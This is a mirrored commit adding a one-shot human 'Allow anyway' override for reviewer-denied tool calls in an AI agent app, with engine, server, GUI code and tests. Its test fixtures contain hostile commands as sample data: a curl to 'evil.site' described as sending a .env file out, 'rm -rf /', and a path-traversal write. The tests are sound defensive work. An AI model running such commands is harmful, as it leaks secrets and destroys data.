mirror of
https://github.com/andrewyng/openworker.git
synced 2026-09-03 04:49:26 +00:00
Feature 3: reviewer deny card + one-shot "Allow anyway" (8.4)
A reviewer deny now renders as a proper card in the transcript - the FULL
reason (the agent only ever got the terse refusal) plus an "Allow anyway"
button - and clicking it mints a ONE-SHOT exact-action approval.
Engine:
- approve_action_once(tool, arguments): human-minted grant keyed on the
exact tool + canonical (sort_keys) JSON arguments, consumed on first
match. Checked in _authorize's needs_user branch AHEAD of the reviewer,
so the approved re-proposal runs without a reviewer call or a card.
Audited as allow_anyway_granted + auto_allowed.
- Deliberately narrow: a re-proposal with even slightly different
arguments does not match and goes back through the normal flow, and the
grant only applies where needs_user is true - it CANNOT unlock a hard
deny (1.2), which is now a test.
Server: WS kind "allow_anyway" {name, arguments} -> engine.approve_action_
once, with input validation. The GUI follows up through the normal
user_message path with a visible "go ahead with it exactly as proposed"
message, so the retry is in the transcript, not magic.
GUI:
- tool items carry reviewerReason/allowAnyway (the event fields were
already broadcast verbatim; updateLastTool now keeps them).
- StepRow renders the deny card: full reason, a note that the agent was
told only THAT it was blocked (not why), and the button - which
collapses into a confirmation after one click (no double-fire).
- SessionSocket.allowAnyway; App.allowAnyway = WS grant + canned retry
message; onAllowAnyway threaded Transcript -> TurnGroup -> StepRow.
Tests: 4 engine (runs once without card/reviewer; consumed not standing;
different action never matches; hard deny stays denied) + 3 component
(card + reason + exact-args callback + one-shot button; no card on
ordinary denies; no button without the callback). 110 backend + 114 GUI
tests green.
This commit is contained in:
@@ -133,6 +133,11 @@ class TurnEngine:
|
||||
# to the human's approval_resolved row by call_id).
|
||||
self.reviewer_shadow = False
|
||||
self._shadow_tasks: set[asyncio.Task] = set()
|
||||
# One-shot "Allow anyway" grants (§8.4): minted ONLY by a human clicking the deny
|
||||
# card, keyed on the exact tool + canonical arguments, consumed on first match. A
|
||||
# re-proposal with even slightly different arguments does not match and goes back
|
||||
# through the reviewer/card — deliberately narrow, deliberately not standing.
|
||||
self._allow_anyway: set[tuple[str, str]] = set()
|
||||
self._last_context_tokens: Optional[int] = None
|
||||
self.audit_context: dict[str, Any] = {}
|
||||
if instructions and not (
|
||||
@@ -798,6 +803,45 @@ class TurnEngine:
|
||||
arguments=tool_call.arguments,
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _action_key(tool_name: str, arguments: dict[str, Any] | None) -> tuple[str, str]:
|
||||
try:
|
||||
canon = json.dumps(arguments or {}, sort_keys=True, ensure_ascii=False)
|
||||
except (TypeError, ValueError):
|
||||
canon = str(arguments)
|
||||
return (tool_name, canon)
|
||||
|
||||
def approve_action_once(self, tool_name: str, arguments: dict[str, Any] | None) -> None:
|
||||
"""Register a one-shot human approval for this EXACT action (§8.4 "Allow anyway").
|
||||
|
||||
Called by the server when the user clicks the deny card — a human decision made
|
||||
with the full reviewer reason in front of them. The next proposal of the identical
|
||||
action (same tool, byte-identical canonical arguments) runs without the reviewer or
|
||||
a card; anything that differs at all still goes through the normal flow. Never
|
||||
standing: consumed on first use."""
|
||||
self._allow_anyway.add(self._action_key(tool_name, arguments))
|
||||
if self.audit_sink is not None:
|
||||
try:
|
||||
self.audit_sink(
|
||||
{
|
||||
**self.audit_context,
|
||||
"tool": tool_name,
|
||||
"arguments": arguments or {},
|
||||
"stage": "allow_anyway_granted",
|
||||
"status": "granted",
|
||||
"reason": "user approved via the deny card (one-shot, exact action)",
|
||||
}
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _consume_allow_anyway(self, tool_call: ToolCall) -> bool:
|
||||
key = self._action_key(tool_call.name, tool_call.arguments)
|
||||
if key in self._allow_anyway:
|
||||
self._allow_anyway.discard(key)
|
||||
return True
|
||||
return False
|
||||
|
||||
def _spawn_shadow_review(self, tool_call: ToolCall) -> None:
|
||||
"""Shadow evaluation (spec Part 6 step 3): record what the reviewer WOULD have
|
||||
decided about this card, without touching anything. Fire-and-forget — the card
|
||||
@@ -861,6 +905,13 @@ class TurnEngine:
|
||||
tool_call, stage="auto_allowed", status="allowed", reason=reason
|
||||
)
|
||||
|
||||
if not allowed and decision.needs_user and self._consume_allow_anyway(tool_call):
|
||||
# §8.4 "Allow anyway": the human already approved this exact action from the
|
||||
# deny card. One-shot — consumed above; a different action never matches.
|
||||
allowed = True
|
||||
reason = "approved by user (allow anyway)"
|
||||
self._audit(tool_call, stage="auto_allowed", status="allowed", reason=reason)
|
||||
|
||||
consulted_live = False
|
||||
if not allowed and decision.needs_user and self._reviewer_active():
|
||||
# The one thing the reviewer may do: turn "ask the human" into "go ahead" —
|
||||
|
||||
@@ -1925,6 +1925,19 @@ def create_app(manager: SessionManager) -> FastAPI:
|
||||
)
|
||||
elif kind == "question_response":
|
||||
_resolve_pending(str(message.get("answer", "")))
|
||||
elif kind == "allow_anyway":
|
||||
# §8.4: the user clicked "Allow anyway" on a reviewer-denied tool card.
|
||||
# Registers a ONE-SHOT exact-action approval on the engine; the GUI then
|
||||
# sends its canned retry message through the normal user_message path,
|
||||
# and the re-proposed identical action runs without the reviewer/card.
|
||||
name = message.get("name")
|
||||
arguments = message.get("arguments")
|
||||
if not isinstance(name, str) or not name:
|
||||
await reject_input("Invalid allow_anyway: missing tool name.")
|
||||
elif arguments is not None and not isinstance(arguments, dict):
|
||||
await reject_input("Invalid allow_anyway: arguments must be an object.")
|
||||
else:
|
||||
engine.approve_action_once(name, arguments or {})
|
||||
elif kind == "interrupt":
|
||||
engine.request_interrupt()
|
||||
elif kind == "retry":
|
||||
|
||||
@@ -712,6 +712,8 @@ export function App() {
|
||||
d.result_preview || d.reason,
|
||||
d.display?.hidden_by_filters,
|
||||
d.standing_rule,
|
||||
d.reviewer_reason,
|
||||
d.allow_anyway,
|
||||
),
|
||||
);
|
||||
// Refresh the right rail when something it shows may have changed: browser state, or a
|
||||
@@ -905,6 +907,13 @@ export function App() {
|
||||
// the 4s poll restores anything genuinely still pending.
|
||||
const dropSessionInbox = (kind: string) =>
|
||||
setSessionInbox((cur) => cur.filter((it) => it.kind !== kind));
|
||||
// §8.4 "Allow anyway" on a reviewer-denied tool: register the one-shot exact-action
|
||||
// approval, then send a visible user message so the agent retries. The engine runs the
|
||||
// identical re-proposal without the reviewer or a card; anything different still asks.
|
||||
const allowAnyway = (name: string, args: any) => {
|
||||
sessionRef.current?.allowAnyway(name, args);
|
||||
send(`I reviewed the blocked ${name} action — go ahead with it exactly as proposed.`);
|
||||
};
|
||||
const approve = (decision: ApprovalDecision) => {
|
||||
setItems((p) => resolveLastApproval(p, decision));
|
||||
dropSessionInbox("approval");
|
||||
@@ -1574,6 +1583,7 @@ export function App() {
|
||||
onApprove={approve}
|
||||
running={running}
|
||||
onRetry={retry}
|
||||
onAllowAnyway={allowAnyway}
|
||||
onUndoMemory={(id, previous) => void undoMemorySave(id, previous)}
|
||||
// §33 ref #3: sub-threshold streamed text renders INSIDE the live turn
|
||||
// group (header when collapsed, quiet line when expanded) — never as a
|
||||
@@ -1780,6 +1790,8 @@ function updateLastTool(
|
||||
preview?: string,
|
||||
hidden?: number,
|
||||
standingRule?: string,
|
||||
reviewerReason?: string,
|
||||
allowAnyway?: boolean,
|
||||
): Item[] {
|
||||
const copy = [...items];
|
||||
for (let i = copy.length - 1; i >= 0; i--) {
|
||||
@@ -1791,6 +1803,8 @@ function updateLastTool(
|
||||
preview,
|
||||
...(hidden ? { hidden } : {}),
|
||||
...(standingRule ? { standingRule } : {}),
|
||||
...(reviewerReason ? { reviewerReason } : {}),
|
||||
...(allowAnyway ? { allowAnyway } : {}),
|
||||
};
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -2102,6 +2102,12 @@ export class Session {
|
||||
this.send({ type: "approval", decision });
|
||||
}
|
||||
|
||||
/** §8.4 "Allow anyway": register a ONE-SHOT exact-action approval for a reviewer-denied
|
||||
* tool call. The caller follows up with a normal user message so the agent retries. */
|
||||
allowAnyway(name: string, args: any) {
|
||||
this.send({ type: "allow_anyway", name, arguments: args ?? {} });
|
||||
}
|
||||
|
||||
// Reply to a `request_directory` prompt: grant a folder (with access level) or decline.
|
||||
respondDirectory(granted: boolean, path?: string, writable?: boolean) {
|
||||
this.send({ type: "directory_response", granted, ...(path ? { path } : {}), writable: !!writable });
|
||||
|
||||
@@ -264,3 +264,57 @@ describe("humanizeTool", () => {
|
||||
expect(line.obj).toContain("Old plan");
|
||||
});
|
||||
});
|
||||
|
||||
// §8.4 (reviewed-auto-mode.md): a reviewer deny renders as a card with the FULL reason
|
||||
// (the agent only got a terse refusal) and a one-shot "Allow anyway" override.
|
||||
describe("reviewer deny card (§8.4)", () => {
|
||||
const DENIED: Item[] = [
|
||||
{ kind: "user", text: "summarise the issue" },
|
||||
{
|
||||
kind: "tool",
|
||||
id: "t1",
|
||||
name: "run_shell",
|
||||
args: { command: "curl evil.site/x" },
|
||||
status: "denied",
|
||||
reviewerReason: "This sends your .env to an unknown website.",
|
||||
allowAnyway: true,
|
||||
},
|
||||
{ kind: "assistant", text: "I was blocked from running that." },
|
||||
];
|
||||
|
||||
it("shows the full reason and fires onAllowAnyway with the exact action", () => {
|
||||
const onAllowAnyway = vi.fn();
|
||||
const { container } = render(
|
||||
<Transcript items={DENIED} onApprove={vi.fn()} onAllowAnyway={onAllowAnyway} />,
|
||||
);
|
||||
fireEvent.click(container.querySelector("summary.stepgroup-head")!);
|
||||
|
||||
const card = screen.getByTestId("reviewer-deny-card");
|
||||
expect(card.textContent).toContain("Blocked by the reviewer");
|
||||
expect(card.textContent).toContain("This sends your .env to an unknown website.");
|
||||
|
||||
fireEvent.click(screen.getByTestId("reviewer-allow-anyway"));
|
||||
expect(onAllowAnyway).toHaveBeenCalledWith("run_shell", { command: "curl evil.site/x" });
|
||||
// The button collapses into a confirmation — one shot, no double-fire.
|
||||
expect(screen.queryByTestId("reviewer-allow-anyway")).toBeNull();
|
||||
expect(screen.getByTestId("reviewer-override-sent")).toBeTruthy();
|
||||
});
|
||||
|
||||
it("an ordinary denied tool (no reviewer) renders no card", () => {
|
||||
const items: Item[] = [
|
||||
{ kind: "user", text: "x" },
|
||||
{ kind: "tool", id: "t1", name: "run_shell", args: {}, status: "denied" },
|
||||
{ kind: "assistant", text: "done" },
|
||||
];
|
||||
const { container } = render(<Transcript items={items} onApprove={vi.fn()} />);
|
||||
fireEvent.click(container.querySelector("summary.stepgroup-head")!);
|
||||
expect(screen.queryByTestId("reviewer-deny-card")).toBeNull();
|
||||
});
|
||||
|
||||
it("without onAllowAnyway the card renders but offers no button", () => {
|
||||
const { container } = render(<Transcript items={DENIED} onApprove={vi.fn()} />);
|
||||
fireEvent.click(container.querySelector("summary.stepgroup-head")!);
|
||||
expect(screen.getByTestId("reviewer-deny-card")).toBeTruthy();
|
||||
expect(screen.queryByTestId("reviewer-allow-anyway")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -177,7 +177,18 @@ function LineText({ line }: { line: HumanLine }) {
|
||||
);
|
||||
}
|
||||
|
||||
function StepRow({ tool, approval }: { tool: ToolItem; approval?: ApprovalItem }) {
|
||||
function StepRow({
|
||||
tool,
|
||||
approval,
|
||||
onAllowAnyway,
|
||||
}: {
|
||||
tool: ToolItem;
|
||||
approval?: ApprovalItem;
|
||||
onAllowAnyway?: (name: string, args: any) => void;
|
||||
}) {
|
||||
// A reviewer deny (spec §8.4) renders as a card under the step: the FULL reason (the
|
||||
// agent only got a terse refusal) plus the one-shot "Allow anyway" override.
|
||||
const [overrideSent, setOverrideSent] = useState(false);
|
||||
const [raw, setRaw] = useState(false);
|
||||
const running = tool.status === "…";
|
||||
const failed = tool.status !== "ok" && !running;
|
||||
@@ -231,6 +242,36 @@ function StepRow({ tool, approval }: { tool: ToolItem; approval?: ApprovalItem }
|
||||
{tool.preview ? `\n→ ${tool.preview.length > 1500 ? tool.preview.slice(0, 1500) + "\n…" : tool.preview}` : ""}
|
||||
</pre>
|
||||
)}
|
||||
{tool.status === "denied" && tool.reviewerReason && (
|
||||
<div
|
||||
className="ml-8 mr-2 my-1 px-3 py-2 rounded-lg border border-line bg-dangerSoft/40"
|
||||
data-testid="reviewer-deny-card"
|
||||
>
|
||||
<div className="text-[11px] font-medium text-danger">Blocked by the reviewer</div>
|
||||
<div className="text-[12px] text-ink mt-0.5">{tool.reviewerReason}</div>
|
||||
<div className="text-[11px] text-faint mt-1">
|
||||
The agent was told only that it was blocked — not why — so it can’t argue
|
||||
its way past this. If the action is actually fine, you can run it as proposed:
|
||||
</div>
|
||||
{tool.allowAnyway && onAllowAnyway && !overrideSent && (
|
||||
<button
|
||||
className="mt-1.5 px-2.5 py-1 rounded-lg border border-line bg-panel text-[12px] text-ink hover:bg-paper"
|
||||
data-testid="reviewer-allow-anyway"
|
||||
onClick={() => {
|
||||
setOverrideSent(true);
|
||||
onAllowAnyway(tool.name, tool.args);
|
||||
}}
|
||||
>
|
||||
Allow anyway
|
||||
</button>
|
||||
)}
|
||||
{overrideSent && (
|
||||
<div className="mt-1.5 text-[11px] text-ok" data-testid="reviewer-override-sent">
|
||||
Approved — the agent will retry this exact action.
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -239,12 +280,14 @@ function TurnGroup({
|
||||
items,
|
||||
live,
|
||||
streamingText,
|
||||
onAllowAnyway,
|
||||
}: {
|
||||
items: TurnItem[];
|
||||
live?: boolean;
|
||||
// Sub-threshold streamed text belongs to THIS group (§33 ref #3): collapsed → it rides
|
||||
// the header as the live line; expanded → the small quiet line under the steps.
|
||||
streamingText?: string;
|
||||
onAllowAnyway?: (name: string, args: any) => void;
|
||||
}) {
|
||||
// Turns start COLLAPSED, running or not (owner call 2026-07-14) — the header's live
|
||||
// line is the pulse; expanding is opt-in.
|
||||
@@ -310,7 +353,7 @@ function TurnGroup({
|
||||
{approvalChip(row.approval.resolved)}
|
||||
</div>
|
||||
) : (
|
||||
<StepRow tool={row.tool} approval={row.approval} key={i} />
|
||||
<StepRow tool={row.tool} approval={row.approval} onAllowAnyway={onAllowAnyway} key={i} />
|
||||
),
|
||||
)}
|
||||
{streamingText && (
|
||||
@@ -344,6 +387,8 @@ interface Props {
|
||||
// MEMORY-SPEC §5.1: undo a just-announced write. `previous` (set when the write was
|
||||
// an edit) is the text to restore; without it the memory is deleted.
|
||||
onUndoMemory?: (id: number, previous?: string) => void;
|
||||
// §8.4 "Allow anyway" on a reviewer-denied tool: one-shot exact-action override.
|
||||
onAllowAnyway?: (name: string, args: any) => void;
|
||||
}
|
||||
|
||||
// The transcript index whose notice gets the Retry button: the tail error notice, looking
|
||||
@@ -359,7 +404,7 @@ export function retryAnchor(items: Item[]): number {
|
||||
return -1;
|
||||
}
|
||||
|
||||
export function Transcript({ items, running, streamingText, onRetry, onUndoMemory }: Props) {
|
||||
export function Transcript({ items, running, streamingText, onRetry, onUndoMemory, onAllowAnyway }: Props) {
|
||||
// §33 grouping: a turn = the maximal run of assistant/tool/resolved-approval items between
|
||||
// breakers (user, connector, notices, plan/dir requests…). Trailing assistant texts are the
|
||||
// ANSWER and render as bubbles after the group; interior assistant texts are narration and
|
||||
@@ -409,6 +454,7 @@ export function Transcript({ items, running, streamingText, onRetry, onUndoMemor
|
||||
items={block.turn}
|
||||
live={block.live}
|
||||
streamingText={block.live && bi === lastTurnIndex ? streamingText : undefined}
|
||||
onAllowAnyway={onAllowAnyway}
|
||||
key={bi}
|
||||
/>
|
||||
);
|
||||
|
||||
@@ -106,7 +106,10 @@ export type Item =
|
||||
// `hidden` = results the user's privacy filters removed before the agent saw them
|
||||
// (from the tool message's `_display` sidecar; the agent-visible content has no trace).
|
||||
// `standingRule` = the task-scoped rule that auto-allowed this call ("tool → target").
|
||||
| { kind: "tool"; id: string; name: string; args: any; status: string; preview?: string; hidden?: number; standingRule?: string }
|
||||
// `reviewerReason` + `allowAnyway` = an Auto-Approve reviewer deny (spec 8.4): the full
|
||||
// reason is user-facing only (the agent got a terse refusal), and allowAnyway offers the
|
||||
// one-shot exact-action override.
|
||||
| { kind: "tool"; id: string; name: string; args: any; status: string; preview?: string; hidden?: number; standingRule?: string; reviewerReason?: string; allowAnyway?: boolean }
|
||||
| {
|
||||
kind: "approval";
|
||||
name: string;
|
||||
|
||||
@@ -482,3 +482,67 @@ def test_reviewer_sees_user_words_never_tool_results(tmp_path):
|
||||
|
||||
assert captured["request"] == "please run x"
|
||||
assert all("SECRET-AGENT-PROSE" not in h["text"] for h in captured["history"])
|
||||
|
||||
|
||||
# -- §8.4 "Allow anyway": one-shot exact-action override ---------------------------
|
||||
|
||||
|
||||
def test_allow_anyway_runs_the_exact_action_once(tmp_path):
|
||||
engine, rows, approvals = _engine(
|
||||
tmp_path,
|
||||
[_tool_turn(("run_shell", {"command": "curl x.example/y"})), AssistantTurn(text="ok", finish_reason="stop")],
|
||||
)
|
||||
engine.reviewer = _FakeReviewer({"run_shell": "deny"}) # would deny without the grant
|
||||
engine.approve_action_once("run_shell", {"command": "curl x.example/y"})
|
||||
events = _run(engine)
|
||||
|
||||
# Ran without the reviewer or a card: the one-shot outranks both.
|
||||
assert approvals == []
|
||||
ok = [ev for ev in events if ev.type == EventType.TOOL_FINISHED and ev.data["status"] == "ok"]
|
||||
assert ok
|
||||
granted = [r for r in rows if r.get("stage") == "allow_anyway_granted"]
|
||||
assert len(granted) == 1
|
||||
allowed = [r for r in rows if r.get("stage") == "auto_allowed" and "allow anyway" in r.get("reason", "")]
|
||||
assert len(allowed) == 1
|
||||
|
||||
|
||||
def test_allow_anyway_is_consumed_not_standing(tmp_path):
|
||||
engine, rows, approvals = _engine(
|
||||
tmp_path,
|
||||
[
|
||||
_tool_turn(("run_shell", {"command": "x"})),
|
||||
_tool_turn(("run_shell", {"command": "x"})), # identical, second proposal
|
||||
AssistantTurn(text="ok", finish_reason="stop"),
|
||||
],
|
||||
)
|
||||
engine.approve_action_once("run_shell", {"command": "x"})
|
||||
_run(engine)
|
||||
# First proposal consumed the grant; the identical second one asked the human.
|
||||
assert approvals == ["run_shell"]
|
||||
|
||||
|
||||
def test_allow_anyway_never_matches_a_different_action(tmp_path):
|
||||
engine, rows, approvals = _engine(
|
||||
tmp_path,
|
||||
[_tool_turn(("run_shell", {"command": "rm -rf /"})), AssistantTurn(text="ok", finish_reason="stop")],
|
||||
)
|
||||
# Approved a harmless command; the agent proposes something else entirely.
|
||||
engine.approve_action_once("run_shell", {"command": "ls"})
|
||||
_run(engine)
|
||||
assert approvals == ["run_shell"] # no match -> normal card, human decides
|
||||
|
||||
|
||||
def test_allow_anyway_cannot_unlock_a_hard_deny(tmp_path):
|
||||
engine, rows, approvals = _engine(
|
||||
tmp_path,
|
||||
[
|
||||
_tool_turn(("write_file", {"path": "../../outside.txt", "content": "x"})),
|
||||
AssistantTurn(text="ok", finish_reason="stop"),
|
||||
],
|
||||
)
|
||||
engine.approve_action_once("write_file", {"path": "../../outside.txt", "content": "x"})
|
||||
events = _run(engine)
|
||||
# Hard denies have needs_user=False: the one-shot path never even sees them (§1.2).
|
||||
denied = [ev for ev in events if ev.type == EventType.TOOL_FINISHED and ev.data["status"] == "denied"]
|
||||
assert denied
|
||||
assert approvals == []
|
||||
|
||||
Reference in New Issue
Block a user